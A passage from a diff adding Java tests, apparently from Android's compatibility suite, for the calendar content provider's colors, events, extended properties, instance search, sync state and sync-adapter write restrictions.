+ mContentResolver.insert(Colors.CONTENT_URI, colorValues);
+ fail("Should not allow non-sync adapter to insert colors");
+ } catch (IllegalArgumentException e) {
+ // WAI
+ }
+
+ // Verify everything except DATA is required
+ ContentValues testVals = new ContentValues(colorValues);
+ for (String key : colorValues.keySet()) {
+
+ testVals.remove(key);
+ try {
+ Uri colUri = mContentResolver.insert(uri, testVals);
+ if (!TextUtils.equals(key, Colors.DATA)) {
+ // The DATA field is allowed to be empty.
+ fail("Should not allow color creation without " + key);
+ }
+ ColorHelper.deleteColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
+ } catch (IllegalArgumentException e) {
+ if (TextUtils.equals(key, Colors.DATA)) {
+ // The DATA field is allowed to be empty.
+ fail("Should allow color creation without " + key);
+ }
+ }
+ testVals.put(key, colorValues.getAsString(key));
+ }
+
+ // Verify writing a color works
+ Uri col1 = mContentResolver.insert(uri, colorValues);
+
+ // Verify adding the same color fails
+ try {
+ mContentResolver.insert(uri, colorValues);
+ fail("Should not allow adding the same color twice");
+ } catch (IllegalArgumentException e) {
+ // WAI
+ }
+
+ // Verify specifying a different account than the query params doesn't work
+ colorValues.put(Colors.ACCOUNT_NAME, account2);
+ try {
+ mContentResolver.insert(uri, colorValues);
+ fail("Should use the account from the query params, not the values.");
+ } catch (IllegalArgumentException e) {
+ // WAI
+ }
+
+ // Verify adding a color to a different account works
+ Uri col2 = mContentResolver.insert(uri2, colorValues);
+
+ // And a different index on the same account
+ colorValues.put(Colors.COLOR_KEY, "2");
+ Uri col3 = mContentResolver.insert(uri2, colorValues);
+
+ // Verify that all three colors are in the table
+ Cursor c = ColorHelper.findColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
+ assertEquals(1, c.getCount());
+ c.close();
+ c = ColorHelper.findColorsByAccount(mContentResolver, account2, CTS_TEST_TYPE);
+ assertEquals(2, c.getCount());
+ c.close();
+
+ // Verify deleting them works
+ ColorHelper.deleteColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
+ ColorHelper.deleteColorsByAccount(mContentResolver, account2, CTS_TEST_TYPE);
+
+ c = ColorHelper.findColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
+ assertEquals(0, c.getCount());
+ c.close();
+ c = ColorHelper.findColorsByAccount(mContentResolver, account2, CTS_TEST_TYPE);
+ assertEquals(0, c.getCount());
+ c.close();
+ }
+
+ /**
+ * Tests Colors interaction with the Calendars table.
+ */
+ @MediumTest
+ public void testCalendarColors() {
+ String account = "cc_account";
+ int seed = 0;
+
+ // Clean up just in case
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+ ColorHelper.deleteColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
+
+ // Test inserting a calendar with an invalid color index
+ ContentValues cv = CalendarHelper.getNewCalendarValues(account, seed++);
+ cv.put(Calendars.CALENDAR_COLOR_KEY, "badIndex");
+ Uri calSyncUri = asSyncAdapter(Calendars.CONTENT_URI, account, CTS_TEST_TYPE);
+ Uri colSyncUri = asSyncAdapter(Colors.CONTENT_URI, account, CTS_TEST_TYPE);
+
+ try {
+ Uri uri = mContentResolver.insert(calSyncUri, cv);
+ fail("Should not allow insertion of invalid color index into Calendars");
+ } catch (IllegalArgumentException e) {
+ // WAI
+ }
+
+ // Test updating a calendar with an invalid color index
+ long calendarId = createAndVerifyCalendar(account, seed++, null);
+ cv.clear();
+ cv.put(Calendars.CALENDAR_COLOR_KEY, "badIndex2");
+ Uri calendarUri = ContentUris.withAppendedId(Calendars.CONTENT_URI, calendarId);
+ try {
+ mContentResolver.update(calendarUri, cv, null, null);
+ fail("Should not allow update of invalid color index into Calendars");
+ } catch (IllegalArgumentException e) {
+ // WAI
+ }
+
+ assertTrue(ColorHelper.addDefaultColorsToAccount(mContentResolver, account, CTS_TEST_TYPE));
+
+ // Test that inserting a valid color index works
+ cv = CalendarHelper.getNewCalendarValues(account, seed++);
+ cv.put(Calendars.CALENDAR_COLOR_KEY, ColorHelper.DEFAULT_INDICES[ColorHelper.C_COLOR_0]);
+
+ Uri uri = mContentResolver.insert(calSyncUri, cv);
+ long calendarId2 = ContentUris.parseId(uri);
+ assertTrue(calendarId2 >= 0);
+ // And updates the calendar's color to the one in the table
+ cv.put(Calendars.CALENDAR_COLOR, ColorHelper.DEFAULT_COLORS[ColorHelper.C_COLOR_0]);
+ verifyCalendar(account, cv, calendarId2, 2);
+
+ // Test that updating a valid color index also updates the color in a
+ // calendar
+ cv.clear();
+ cv.put(Calendars.CALENDAR_COLOR_KEY, ColorHelper.DEFAULT_INDICES[ColorHelper.C_COLOR_0]);
+ mContentResolver.update(calendarUri, cv, null, null);
+ Cursor c = mContentResolver.query(calendarUri,
+ new String[] { Calendars.CALENDAR_COLOR_KEY, Calendars.CALENDAR_COLOR },
+ null, null, null);
+ try {
+ c.moveToFirst();
+ String index = c.getString(0);
+ int color = c.getInt(1);
+ assertEquals(index, ColorHelper.DEFAULT_INDICES[ColorHelper.C_COLOR_0]);
+ assertEquals(color, ColorHelper.DEFAULT_COLORS[ColorHelper.C_COLOR_0]);
+ } finally {
+ if (c != null) {
+ c.close();
+ }
+ }
+
+ // And clearing it doesn't change the color
+ cv.put(Calendars.CALENDAR_COLOR_KEY, (String) null);
+ mContentResolver.update(calendarUri, cv, null, null);
+ c = mContentResolver.query(calendarUri,
+ new String[] { Calendars.CALENDAR_COLOR_KEY, Calendars.CALENDAR_COLOR },
+ null, null, null);
+ try {
+ c.moveToFirst();
+ String index = c.getString(0);
+ int color = c.getInt(1);
+ assertEquals(index, null);
+ assertEquals(ColorHelper.DEFAULT_COLORS[ColorHelper.C_COLOR_0], color);
+ } finally {
+ if (c != null) {
+ c.close();
+ }
+ }
+
+ // Test that setting a calendar color to an event color fails
+ cv.put(Calendars.CALENDAR_COLOR_KEY, ColorHelper.DEFAULT_INDICES[ColorHelper.E_COLOR_0]);
+ try {
+ mContentResolver.update(calendarUri, cv, null, null);
+ fail("Should not allow a calendar to use an event color");
+ } catch (IllegalArgumentException e) {
+ // WAI
+ }
+
+ // Test that you can't remove a color that is referenced by a calendar
+ cv.put(Calendars.CALENDAR_COLOR_KEY, ColorHelper.DEFAULT_INDICES[ColorHelper.C_COLOR_3]);
+ mContentResolver.update(calendarUri, cv, null, null);
+
+ try {
+ mContentResolver.delete(colSyncUri, ColorHelper.WHERE_COLOR_ACCOUNT_AND_INDEX,
+ new String[] {
+ account, CTS_TEST_TYPE,
+ ColorHelper.DEFAULT_INDICES[ColorHelper.C_COLOR_3]
+ });
+ fail("Should not allow deleting referenced color");
+ } catch (UnsupportedOperationException e) {
+ // WAI
+ }
+
+ // Clean up
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+ ColorHelper.deleteColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
+ }
+
+ /**
+ * Tests Colors interaction with the Events table.
+ */
+ @MediumTest
+ public void testEventColors() {
+ String account = "ec_account";
+ int seed = 0;
+
+ // Clean up just in case
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+ ColorHelper.deleteColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
+
+ // Test inserting an event with an invalid color index
+ long cal_id = createAndVerifyCalendar(account, seed++, null);
+
+ Uri colSyncUri = asSyncAdapter(Colors.CONTENT_URI, account, CTS_TEST_TYPE);
+
+ ContentValues ev = EventHelper.getNewEventValues(account, seed++, cal_id, false);
+ ev.put(Events.EVENT_COLOR_KEY, "badIndex");
+
+ try {
+ Uri uri = mContentResolver.insert(Events.CONTENT_URI, ev);
+ fail("Should not allow insertion of invalid color index into Events");
+ } catch (IllegalArgumentException e) {
+ // WAI
+ }
+
+ // Test updating an event with an invalid color index fails
+ long event_id = createAndVerifyEvent(account, seed++, cal_id, false, null);
+ ev.clear();
+ ev.put(Events.EVENT_COLOR_KEY, "badIndex2");
+ Uri eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, event_id);
+ try {
+ mContentResolver.update(eventUri, ev, null, null);
+ fail("Should not allow update of invalid color index into Events");
+ } catch (IllegalArgumentException e) {
+ // WAI
+ }
+
+ assertTrue(ColorHelper.addDefaultColorsToAccount(mContentResolver, account, CTS_TEST_TYPE));
+
+ // Test that inserting a valid color index works
+ ev = EventHelper.getNewEventValues(account, seed++, cal_id, false);
+ final String defaultColorIndex = ColorHelper.DEFAULT_INDICES[ColorHelper.E_COLOR_0];
+ ev.put(Events.EVENT_COLOR_KEY, defaultColorIndex);
+
+ Uri uri = mContentResolver.insert(Events.CONTENT_URI, ev);
+ long eventId2 = ContentUris.parseId(uri);
+ assertTrue(eventId2 >= 0);
+ // And updates the event's color to the one in the table
+ final int expectedColor = ColorHelper.DEFAULT_COLORS[ColorHelper.E_COLOR_0];
+ ev.put(Events.EVENT_COLOR, expectedColor);
+ verifyEvent(ev, eventId2);
+
+ // Test that event iterator has COLOR columns
+ final EntityIterator iterator = EventsEntity.newEntityIterator(mContentResolver.query(
+ ContentUris.withAppendedId(EventsEntity.CONTENT_URI, eventId2),
+ null, null, null, null), mContentResolver);
+ assertTrue("Empty Iterator", iterator.hasNext());
+ final Entity entity = iterator.next();
+ final ContentValues values = entity.getEntityValues();
+ assertTrue("Missing EVENT_COLOR", values.containsKey(EventsEntity.EVENT_COLOR));
+ assertEquals("Wrong EVENT_COLOR",
+ expectedColor,
+ (int) values.getAsInteger(EventsEntity.EVENT_COLOR));
+ assertTrue("Missing EVENT_COLOR_KEY", values.containsKey(EventsEntity.EVENT_COLOR_KEY));
+ assertEquals("Wrong EVENT_COLOR_KEY",
+ defaultColorIndex,
+ values.getAsString(EventsEntity.EVENT_COLOR_KEY));
+ iterator.close();
+
+ // Test that updating a valid color index also updates the color in an
+ // event
+ ev.clear();
+ ev.put(Events.EVENT_COLOR_KEY, ColorHelper.DEFAULT_INDICES[ColorHelper.E_COLOR_1]);
+ mContentResolver.update(eventUri, ev, null, null);
+ Cursor c = mContentResolver.query(eventUri, new String[] {
+ Events.EVENT_COLOR_KEY, Events.EVENT_COLOR
+ }, null, null, null);
+ try {
+ c.moveToFirst();
+ String index = c.getString(0);
+ int color = c.getInt(1);
+ assertEquals(index, ColorHelper.DEFAULT_INDICES[ColorHelper.E_COLOR_1]);
+ assertEquals(color, ColorHelper.DEFAULT_COLORS[ColorHelper.E_COLOR_1]);
+ } finally {
+ if (c != null) {
+ c.close();
+ }
+ }
+
+ // And clearing it doesn't change the color
+ ev.put(Events.EVENT_COLOR_KEY, (String) null);
+ mContentResolver.update(eventUri, ev, null, null);
+ c = mContentResolver.query(eventUri, new String[] {
+ Events.EVENT_COLOR_KEY, Events.EVENT_COLOR
+ }, null, null, null);
+ try {
+ c.moveToFirst();
+ String index = c.getString(0);
+ int color = c.getInt(1);
+ assertEquals(index, null);
+ assertEquals(ColorHelper.DEFAULT_COLORS[ColorHelper.E_COLOR_1], color);
+ } finally {
+ if (c != null) {
+ c.close();
+ }
+ }
+
+ // Test that setting an event color to a calendar color fails
+ ev.put(Events.EVENT_COLOR_KEY, ColorHelper.DEFAULT_INDICES[ColorHelper.C_COLOR_2]);
+ try {
+ mContentResolver.update(eventUri, ev, null, null);
+ fail("Should not allow an event to use a calendar color");
+ } catch (IllegalArgumentException e) {
+ // WAI
+ }
+
+ // Test that you can't remove a color that is referenced by an event
+ ev.put(Events.EVENT_COLOR_KEY, ColorHelper.DEFAULT_INDICES[ColorHelper.E_COLOR_1]);
+ mContentResolver.update(eventUri, ev, null, null);
+ try {
+ mContentResolver.delete(colSyncUri, ColorHelper.WHERE_COLOR_ACCOUNT_AND_INDEX,
+ new String[] {
+ account, CTS_TEST_TYPE,
+ ColorHelper.DEFAULT_INDICES[ColorHelper.E_COLOR_1]
+ });
+ fail("Should not allow deleting referenced color");
+ } catch (UnsupportedOperationException e) {
+ // WAI
+ }
+
+ // TODO test colors with exceptions
+
+ // Clean up
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+ ColorHelper.deleteColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
+ }
+
+ /**
+ * Tests creation and manipulation of ExtendedProperties.
+ */
+ @MediumTest
+ public void testExtendedProperties() {
+ String account = "ep_account";
+ int seed = 0;
+
+ // Clean up just in case.
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+ // Create calendar.
+ long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+ // Create events.
+ ContentValues eventValues;
+ eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+ long eventId1 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+ assertTrue(eventId1 >= 0);
+
+ /*
+ * Add some extended properties.
+ */
+ long epId1 = ExtendedPropertiesHelper.addExtendedProperty(mContentResolver, account,
+ eventId1, "first", "Jeffrey");
+ long epId2 = ExtendedPropertiesHelper.addExtendedProperty(mContentResolver, account,
+ eventId1, "last", "Lebowski");
+ long epId3 = ExtendedPropertiesHelper.addExtendedProperty(mContentResolver, account,
+ eventId1, "title", "Dude");
+
+ /*
+ * Spot-check a couple of entries.
+ */
+ Cursor cursor = ExtendedPropertiesHelper.findExtendedPropertiesByEventId(mContentResolver,
+ eventId1);
+ try {
+ assertEquals(3, cursor.getCount());
+ //DatabaseUtils.dumpCursor(cursor);
+
+ while (cursor.moveToNext()) {
+ String name =
+ cursor.getString(ExtendedPropertiesHelper.EXTENDED_PROPERTIES_NAME_INDEX);
+ String value =
+ cursor.getString(ExtendedPropertiesHelper.EXTENDED_PROPERTIES_VALUE_INDEX);
+
+ if (name.equals("last")) {
+ assertEquals("Lebowski", value);
+ }
+ }
+
+ String title = ExtendedPropertiesHelper.lookupValueByName(mContentResolver, eventId1,
+ "title");
+ assertEquals("Dude", title);
+ } finally {
+ if (cursor != null) {
+ cursor.close();
+ }
+ }
+
+ // Update the title. Must be done as a sync adapter.
+ ContentValues newValues = new ContentValues();
+ newValues.put(ExtendedProperties.VALUE, "Big");
+ Uri uri = ContentUris.withAppendedId(ExtendedProperties.CONTENT_URI, epId3);
+ uri = asSyncAdapter(uri, account, CTS_TEST_TYPE);
+ int count = mContentResolver.update(uri, newValues, null, null);
+ assertEquals(1, count);
+
+ // check it
+ String title = ExtendedPropertiesHelper.lookupValueByName(mContentResolver, eventId1,
+ "title");
+ assertEquals("Big", title);
+
+ removeAndVerifyCalendar(account, calendarId);
+ }
+
+ private class CalendarEventHelper {
+
+ private long mCalendarId;
+ private String mAccount;
+ private int mSeed;
+
+ public CalendarEventHelper(String account, int seed) {
+ mAccount = account;
+ mSeed = seed;
+ ContentValues values = CalendarHelper.getNewCalendarValues(account, seed);
+ mCalendarId = createAndVerifyCalendar(account, seed++, values);
+ }
+
+ public ContentValues addEvent(String timeString, int timeZoneIndex, long duration) {
+ long event1Start = timeInMillis(timeString, timeZoneIndex);
+ ContentValues eventValues;
+ eventValues = EventHelper.getNewEventValues(mAccount, mSeed++, mCalendarId, true);
+ eventValues.put(Events.DESCRIPTION, timeString);
+ eventValues.put(Events.DTSTART, event1Start);
+ eventValues.put(Events.DTEND, event1Start + duration);
+ eventValues.put(Events.EVENT_TIMEZONE, TIME_ZONES[timeZoneIndex]);
+ long eventId = createAndVerifyEvent(mAccount, mSeed, mCalendarId, true, eventValues);
+ assertTrue(eventId >= 0);
+ return eventValues;
+ }
+
+ public long getCalendarId() {
+ return mCalendarId;
+ }
+ }
+
+ /**
+ * Test query to retrieve instances within a certain time interval.
+ */
+ public void testWhenByDayQuery() {
+ String account = "cser_account";
+ int seed = 0;
+
+ // Clean up just in case
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+ // Create a calendar
+ CalendarEventHelper helper = new CalendarEventHelper(account, seed);
+
+ // Add events to the calendar--the first two in the queried range
+ List<ContentValues> eventsWithinRange = new ArrayList<ContentValues>();
+
+ ContentValues values = helper.addEvent("2009-10-01T08:00:00", 0, DateUtils.HOUR_IN_MILLIS);
+ eventsWithinRange.add(values);
+
+ values = helper.addEvent("2010-10-01T08:00:00", 0, DateUtils.HOUR_IN_MILLIS);
+ eventsWithinRange.add(values);
+
+ helper.addEvent("2011-10-01T08:00:00", 0, DateUtils.HOUR_IN_MILLIS);
+
+ // Prepare the start time and end time of the range to query
+ String startTime = "2009-01-01T00:00:00";
+ String endTime = "2011-01-01T00:00:00";
+ int julianStart = getJulianDay(startTime, 0);
+ int julianEnd = getJulianDay(endTime, 0);
+ Uri uri = Uri.withAppendedPath(
+ CalendarContract.Instances.CONTENT_BY_DAY_URI, julianStart + "/" + julianEnd);
+
+ // Query the range, sorting by event start time
+ Cursor c = mContentResolver.query(uri, null, Instances.CALENDAR_ID + "="
+ + helper.getCalendarId(), null, Events.DTSTART);
+
+ // Assert that two events are returned
+ assertEquals(c.getCount(), 2);
+
+ Set<String> keySet = new HashSet();
+ keySet.add(Events.DESCRIPTION);
+ keySet.add(Events.DTSTART);
+ keySet.add(Events.DTEND);
+ keySet.add(Events.EVENT_TIMEZONE);
+
+ // Verify that the contents of those two events match the cursor results
+ verifyContentValuesAgainstCursor(eventsWithinRange, keySet, c);
+ }
+
+ private void verifyContentValuesAgainstCursor(List<ContentValues> cvs,
+ Set<String> keys, Cursor cursor) {
+ assertEquals(cursor.getCount(), cvs.size());
+
+ cursor.moveToFirst();
+
+ int i=0;
+ do {
+ ContentValues cv = cvs.get(i);
+ for (String key : keys) {
+ assertEquals(cv.get(key).toString(),
+ cursor.getString(cursor.getColumnIndex(key)));
+ }
+ i++;
+ } while (cursor.moveToNext());
+
+ cursor.close();
+ }
+
+ private long timeInMillis(String timeString, int timeZoneIndex) {
+ Time startTime = new Time(TIME_ZONES[timeZoneIndex]);
+ startTime.parse3339(timeString);
+ return startTime.toMillis(false);
+ }
+
+ private int getJulianDay(String timeString, int timeZoneIndex) {
+ Time time = new Time(TIME_ZONES[timeZoneIndex]);
+ time.parse3339(timeString);
+ return Time.getJulianDay(time.toMillis(false), time.gmtoff);
+ }
+
+ /**
+ * Test instance queries with search parameters.
+ */
+ @MediumTest
+ public void testInstanceSearch() {
+ String account = "cser_account";
+ int seed = 0;
+
+ // Clean up just in case
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+ // Create a calendar
+ ContentValues values = CalendarHelper.getNewCalendarValues(account, seed);
+ long calendarId = createAndVerifyCalendar(account, seed++, values);
+
+ String testStart = "2009-10-01T08:00:00";
+ String timeZone = TIME_ZONES[0];
+ Time startTime = new Time(timeZone);
+ startTime.parse3339(testStart);
+ long startMillis = startTime.toMillis(false);
+
+ // Create some events, with different descriptions. (Could also create a single
+ // recurring event and some instance exceptions.)
+ ContentValues eventValues;
+ eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+ eventValues.put(Events.DESCRIPTION, "testevent event-one fiddle");
+ eventValues.put(Events.DTSTART, startMillis);
+ eventValues.put(Events.DTEND, startMillis + DateUtils.HOUR_IN_MILLIS);
+ eventValues.put(Events.EVENT_TIMEZONE, timeZone);
+ long eventId1 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+ assertTrue(eventId1 >= 0);
+
+ eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+ eventValues.put(Events.DESCRIPTION, "testevent event-two fuzzle");
+ eventValues.put(Events.DTSTART, startMillis + DateUtils.HOUR_IN_MILLIS);
+ eventValues.put(Events.DTEND, startMillis + DateUtils.HOUR_IN_MILLIS * 2);
+ eventValues.put(Events.EVENT_TIMEZONE, timeZone);
+ long eventId2 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+ assertTrue(eventId2 >= 0);
+
+ eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+ eventValues.put(Events.DESCRIPTION, "testevent event-three fiddle");
+ eventValues.put(Events.DTSTART, startMillis + DateUtils.HOUR_IN_MILLIS * 2);
+ eventValues.put(Events.DTEND, startMillis + DateUtils.HOUR_IN_MILLIS * 3);
+ eventValues.put(Events.EVENT_TIMEZONE, timeZone);
+ long eventId3 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+ assertTrue(eventId3 >= 0);
+
+ eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+ eventValues.put(Events.DESCRIPTION, "nontestevent");
+ eventValues.put(Events.DTSTART, startMillis + (long) (DateUtils.HOUR_IN_MILLIS * 1.5f));
+ eventValues.put(Events.DTEND, startMillis + DateUtils.HOUR_IN_MILLIS * 2);
+ eventValues.put(Events.EVENT_TIMEZONE, timeZone);
+ long eventId4 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+ assertTrue(eventId4 >= 0);
+
+ String rangeStart = "2009-10-01T00:00:00";
+ String rangeEnd = "2009-10-01T11:59:59";
+ String[] projection = new String[] { Instances.BEGIN };
+
+ if (false) {
+ Cursor instances = getInstances(timeZone, rangeStart, rangeEnd, projection,
+ new long[] { calendarId });
+ dumpInstances(instances, timeZone, "all");
+ instances.close();
+ }
+
+ Cursor instances;
+ int count;
+
+ // Find all matching "testevent". The search matches on partial strings, so this
+ // will also pick up "nontestevent".
+ instances = getInstancesSearch(timeZone, rangeStart, rangeEnd,
+ "testevent", false, projection, new long[] { calendarId });
+ count = instances.getCount();
+ instances.close();
+ assertEquals(4, count);
+
+ // Find all matching "fiddle" and "event". Set the "by day" flag just to be different.
+ instances = getInstancesSearch(timeZone, rangeStart, rangeEnd,
+ "fiddle event", true, projection, new long[] { calendarId });
+ count = instances.getCount();
+ instances.close();
+ assertEquals(2, count);
+
+ // Find all matching "fiddle" and "baluchitherium".
+ instances = getInstancesSearch(timeZone, rangeStart, rangeEnd,
+ "baluchitherium fiddle", false, projection, new long[] { calendarId });
+ count = instances.getCount();
+ instances.close();
+ assertEquals(0, count);
+
+ // Find all matching "event-two".
+ instances = getInstancesSearch(timeZone, rangeStart, rangeEnd,
+ "event-two", false, projection, new long[] { calendarId });
+ count = instances.getCount();
+ instances.close();
+ assertEquals(1, count);
+
+ removeAndVerifyCalendar(account, calendarId);
+ }
+
+ @MediumTest
+ public void testCalendarUpdateAsApp() {
+ String account = "cu1_account";
+ int seed = 0;
+
+ // Clean up just in case
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+ // Create a calendar
+ ContentValues values = CalendarHelper.getNewCalendarValues(account, seed);
+ long id = createAndVerifyCalendar(account, seed++, values);
+
+ Uri uri = ContentUris.withAppendedId(Calendars.CONTENT_URI, id);
+
+ // Update the calendar using the direct Uri
+ ContentValues updateValues = CalendarHelper.getUpdateCalendarValuesWithOriginal(
+ values, seed++);
+ assertEquals(1, mContentResolver.update(uri, updateValues, null, null));
+
+ verifyCalendar(account, values, id, 1);
+
+ // Update the calendar using selection + args
+ String selection = Calendars._ID + "=?";
+ String[] selectionArgs = new String[] { Long.toString(id) };
+
+ updateValues = CalendarHelper.getUpdateCalendarValuesWithOriginal(values, seed++);
+
+ assertEquals(1, mContentResolver.update(
+ Calendars.CONTENT_URI, updateValues, selection, selectionArgs));
+
+ verifyCalendar(account, values, id, 1);
+
+ removeAndVerifyCalendar(account, id);
+ }
+
+ // TODO test calendar updates as sync adapter
+
+ /**
+ * Test access to the "syncstate" table.
+ */
+ @MediumTest
+ public void testSyncState() {
+ String account = "ss_account";
+ int seed = 0;
+
+ // Clean up just in case
+ SyncStateHelper.deleteSyncStateByAccount(mContentResolver, account, true);
+
+ // Create a new sync state entry
+ ContentValues values = SyncStateHelper.getNewSyncStateValues(account);
+ long id = createAndVerifySyncState(account, values);
+
+ // Look it up with the by-ID URI
+ Cursor c = SyncStateHelper.getSyncStateById(mContentResolver, id);
+ assertNotNull(c);
+ assertEquals(1, c.getCount());
+ c.close();
+
+ // Try to remove it as non-sync-adapter; expected to fail.
+ boolean failed;
+ try {
+ SyncStateHelper.deleteSyncStateByAccount(mContentResolver, account, false);
+ failed = false;
+ } catch (IllegalArgumentException iae) {
+ failed = true;
+ }
+ assertTrue("deletion of sync state by app was allowed", failed);
+
+ // Remove it and verify that it's gone
+ removeAndVerifySyncState(account);
+ }
+
+
+ private void verifyEvent(ContentValues values, long eventId) {
+ Uri eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
+ // Verify
+ Cursor c = mContentResolver
+ .query(eventUri, EventHelper.EVENTS_PROJECTION, null, null, null);
+ assertEquals(1, c.getCount());
+ assertTrue(c.moveToFirst());
+ assertEquals(eventId, c.getLong(0));
+ for (String key : values.keySet()) {
+ int index = c.getColumnIndex(key);
+ assertEquals(key, values.getAsString(key), c.getString(index));
+ }
+ c.close();
+ }
+
+ @MediumTest
+ public void testEventCreationAndDeletion() {
+ String account = "ec1_account";
+ int seed = 0;
+
+ // Clean up just in case
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+ // Create calendar and event
+ long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+ ContentValues eventValues = EventHelper
+ .getNewEventValues(account, seed++, calendarId, true);
+ long eventId = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+
+ Uri eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
+
+ removeAndVerifyEvent(eventUri, eventValues, account);
+
+ // Attempt to create an event without a calendar ID.
+ ContentValues badValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+ badValues.remove(Events.CALENDAR_ID);
+ try {
+ createAndVerifyEvent(account, seed, calendarId, true, badValues);
+ fail("was allowed to create an event without CALENDAR_ID");
+ } catch (IllegalArgumentException iae) {
+ // expected
+ }
+
+ // Validation may be relaxed for content providers, so test missing timezone as app.
+ badValues = EventHelper.getNewEventValues(account, seed++, calendarId, false);
+ badValues.remove(Events.EVENT_TIMEZONE);
+ try {
+ createAndVerifyEvent(account, seed, calendarId, false, badValues);
+ fail("was allowed to create an event without EVENT_TIMEZONE");
+ } catch (IllegalArgumentException iae) {
+ // expected
+ }
+
+ removeAndVerifyCalendar(account, calendarId);
+ }
+
+ @MediumTest
+ public void testEventUpdateAsApp() {
+ String account = "em1_account";
+ int seed = 0;
+
+ // Clean up just in case
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+ // Create calendar
+ long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+ // Create event as sync adapter
+ ContentValues eventValues = EventHelper
+ .getNewEventValues(account, seed++, calendarId, true);
+ long eventId = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+
+ // Update event as app
+ Uri eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
+
+ ContentValues updateValues = EventHelper.getUpdateEventValuesWithOriginal(eventValues,
+ seed++, false);
+ assertEquals(1, mContentResolver.update(eventUri, updateValues, null, null));
+ updateValues.put(Events.DIRTY, 1); // provider should have marked as dirty
+ verifyEvent(updateValues, eventId);
+
+ // Try nulling out a required value.
+ ContentValues badValues = new ContentValues(updateValues);
+ badValues.putNull(Events.EVENT_TIMEZONE);
+ badValues.remove(Events.DIRTY);
+ try {
+ mContentResolver.update(eventUri, badValues, null, null);
+ fail("was allowed to null out EVENT_TIMEZONE");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ removeAndVerifyEvent(eventUri, eventValues, account);
+
+ // delete the calendar
+ removeAndVerifyCalendar(account, calendarId);
+ }
+
+ /**
+ * Tests update of multiple events with a single update call.
+ */
+ @MediumTest
+ public void testBulkUpdate() {
+ String account = "bup_account";
+ int seed = 0;
+
+ // Clean up just in case
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+ // Create calendar
+ long calendarId = createAndVerifyCalendar(account, seed++, null);
+ String calendarIdStr = String.valueOf(calendarId);
+
+ // Create events
+ ContentValues eventValues;
+ eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+ long eventId1 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+
+ eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+ long eventId2 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+
+ // Update the "description" field in all events in this calendar.
+ String newDescription = "bulk edit";
+ ContentValues updateValues = new ContentValues();
+ updateValues.put(Events.DESCRIPTION, newDescription);
+
+ // Must be sync adapter to do a bulk update.
+ Uri uri = asSyncAdapter(Events.CONTENT_URI, account, CTS_TEST_TYPE);
+ int count = mContentResolver.update(uri, updateValues, SQL_WHERE_CALENDAR_ID,
+ new String[] { calendarIdStr });
+
+ // Check to see if the changes went through.
+ Uri eventUri = Events.CONTENT_URI;
+ Cursor c = mContentResolver.query(eventUri, new String[] { Events.DESCRIPTION },
+ SQL_WHERE_CALENDAR_ID, new String[] { calendarIdStr }, null);
+ assertEquals(2, c.getCount());
+ while (c.moveToNext()) {
+ assertEquals(newDescription, c.getString(0));
+ }
+ c.close();
+
+ // delete the calendar
+ removeAndVerifyCalendar(account, calendarId);
+ }
+
+ /**
+ * Tests the content provider's enforcement of restrictions on who is allowed to modify
+ * specific columns in a Calendar.
+ * <p>
+ * This attempts to create a new row in the Calendar table, specifying one restricted
+ * column at a time.
+ */
+ @MediumTest
+ public void testSyncOnlyInsertEnforcement() {
+ // These operations should not succeed, so there should be nothing to clean up after.
+ // TODO: this should be a new event augmented with an illegal column, not a single
+ // column. Otherwise we might be tripping over a "DTSTART must exist" test.
+ ContentValues vals = new ContentValues();
+ for (int i = 0; i < Calendars.SYNC_WRITABLE_COLUMNS.length; i++) {
+ boolean threw = false;
+ try {
+ vals.clear();
+ vals.put(Calendars.SYNC_WRITABLE_COLUMNS[i], "1");
+ mContentResolver.insert(Calendars.CONTENT_URI, vals);
+ } catch (IllegalArgumentException e) {
+ threw = true;
+ }
+ assertTrue("Only sync adapter should be allowed to insert "
+ + Calendars.SYNC_WRITABLE_COLUMNS[i], threw);
+ }
+ }
+
+ /**
+ * Tests creation of a recurring event.
+ * <p>
+ * This (and the other recurrence tests) uses dates well in the past to reduce the likelihood
